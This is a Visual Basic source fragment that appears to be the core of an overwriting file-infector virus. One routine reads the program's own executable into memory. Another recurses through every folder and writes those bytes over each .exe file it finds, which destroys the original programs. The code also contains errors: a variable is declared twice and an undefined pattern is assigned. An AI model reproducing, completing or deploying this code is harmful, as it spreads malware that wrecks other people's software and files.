Dim bytFileArray() As Byte
Public Function GetFilesAndCopy(Path As String)
On Error Resume Next
Dim chrFirstByte As String * 1
Dim WFD As WIN32_FIND_DATA
Dim strName As String
Dim strPattern As String
Dim lngFileSize As Long
Dim strPath As String
Dim strPattern As String
strPattern = "*.exe"
Dim strChangingFile As String
strPath = Path
If Right(strPath, 1) <> "\" Then strPath = strPath + "\"
strPattern = Pattern
strName = strPath & strPattern
lngFileSize = FindFirstFile(strName, WFD)
If (lngFileSize > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then
strChangingFile = strPath & StripNulls(WFD.cFileName)
Open strChangingFile For Binary As 1#
Put #1, 1, bytFileArray()
Close #1
End If
DoEvents
DoEvents
DoEvents
If lngFileSize > 0 Then
Do While FindNextFile(lngFileSize, WFD)
If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then
strChangingFile = strPath & StripNulls(WFD.cFileName)
Open strChangingFile For Binary As 1#
Put #1, 1, bytFileArray
Close #1
DoEvents
DoEvents
DoEvents
End If
Loop
End If
lngFileSize = FindFirstFile(strPath & "*.*", WFD)
If (lngFileSize > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _
StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then
GetFilesAndCopy strPath & StripNulls(WFD.cFileName)
End If
Do While FindNextFile(lngFileSize, WFD)
If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _
StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then
GetFilesAndCopy strPath & StripNulls(WFD.cFileName)
End If
Loop
FindClose lngFileSize
End Function
Function funGetByteOfMySelf()
On Error Resume Next
Dim strPath As String
Dim lngDumm As Long
strPath = App.Path
If Right(strPath, 1) <> "\" Then strPath = strPath + "\"
strPath = strPath + App.EXEName + ".exe"
lngDumm = FileLen(strPath)
ReDim bytFileArray(lngDumm) As Byte
Open strPath For Binary As 1
Get 1, , bytFileArray
Close
End Function